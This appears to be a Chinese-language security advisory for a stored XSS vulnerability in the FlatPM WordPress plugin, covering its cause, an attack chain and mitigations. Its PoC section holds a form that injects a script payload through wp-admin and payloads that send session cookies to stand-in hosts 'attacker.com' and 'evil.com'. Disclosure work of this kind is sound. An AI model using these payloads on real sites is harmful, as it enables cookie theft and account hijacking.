CVE-2026-0690 WordPress FlatPM插件存储型XSS漏洞

漏洞信息

漏洞编号

CVE-2026-0690

漏洞类型

存储型跨站脚本攻击（Stored XSS）

CVSS评分

6.4 中危

攻击向量

网络 (AV:N)

认证要求

低权限 (PR:L)

用户交互

无需交互 (UI:N)

影响产品

FlatPM – Ad Manager, AdSense and Custom Code plugin for WordPress

漏洞概述

CVE-2026-0690是WordPress平台下FlatPM广告管理插件的一个中危安全漏洞。该插件用于在WordPress网站上管理广告投放、AdSense集成和自定义代码插入。漏洞存在于插件对'rank_math_description'自定义字段的处理过程中，由于缺乏充分的输入清理和输出转义机制，攻击者可以在页面中注入恶意JavaScript代码。被注入的恶意脚本会永久存储在数据库中，当其他用户访问包含恶意代码的页面时，浏览器会自动执行这些脚本，从而实现会话劫持、敏感信息窃取、恶意重定向等攻击目的。此漏洞需要攻击者拥有WordPress网站的贡献者（Contributor）或更高权限账户才能利用。

技术细节

该漏洞的根本原因在于FlatPM插件在处理rank_math_description自定义字段时，未对用户输入进行充分的HTML标签过滤和JavaScript脚本过滤。攻击者利用贡献者级别的账户权限，可以在文章或页面的自定义字段中插入包含<script>标签或事件处理器（如onerror、onload等）的恶意代码。插件在保存内容时未对这些特殊字符进行实体编码（HTML Entity Encoding），而是直接存入数据库。当前端页面渲染时，插件从数据库读取数据后直接输出到HTML页面中，浏览器将其解析为可执行脚本。由于是存储型XSS，恶意代码会持久存在于服务器端，影响所有访问该页面的用户。攻击者可以利用此漏洞窃取管理员Cookie、修改页面内容、植入钓鱼链接或进行进一步的内网渗透。

攻击链分析

STEP 1

信息收集

攻击者识别目标网站使用的WordPress版本和FlatPM插件，确认插件版本在3.2.2或更早版本

STEP 2

账户获取

攻击者通过社会工程学、密码爆破或其他方式获取目标WordPress网站的贡献者（Contributor）或更高权限账户

STEP 3

恶意代码注入

攻击者登录WordPress后台，在文章或页面的rank_math_description自定义字段中注入包含XSS payload的恶意代码

STEP 4

数据持久化

插件将未经过滤的恶意代码保存到数据库中，实现持久化存储

STEP 5

触发执行

当普通用户访问包含恶意代码的页面时，浏览器解析HTML并执行注入的JavaScript脚本

STEP 6

攻击完成

攻击者通过XSS成功窃取用户会话Cookie、劫持账户或执行其他恶意操作

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

<!-- PoC for CVE-2026-0690 Stored XSS via rank_math_description -->
<!-- Requires Contributor+ role on WordPress with FlatPM plugin installed -->

<!-- Method 1: Using script tag -->
<meta charset="UTF-8">
<form method="post" action="http://target-wordpress-site/wp-admin/post.php">
    <input type="hidden" name="post_ID" value="1">
    <input type="hidden" name="meta[rank_math_description]" value='"><script>alert(document.cookie)</script><x y="'>
    <input type="hidden" name="action" value="editpost">
    <input type="hidden" name="_wpnonce" value="YOUR_VALID_NONCE">
    <button type="submit">Exploit</button>
</form>

<!-- Method 2: Using event handler -->
<img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)">

<!-- Method 3: Stored XSS payload -->
<svg/onload=fetch('https://evil.com/log?c='+btoa(document.cookie))>

影响范围

FlatPM plugin for WordPress <= 3.2.2

防御指南

临时缓解措施

在官方修复版本发布之前，可采取以下临时缓解措施：1) 禁用或删除FlatPM插件；2) 限制 Contributor及以上角色的注册和权限分配；3) 在Web应用防火墙（WAF）中添加针对XSS特征的过滤规则；4) 启用WordPress的REST API访问限制；5) 监控和审查所有包含自定义字段的内容修改日志。建议尽快升级到插件最新版本以获得完整的安全保护。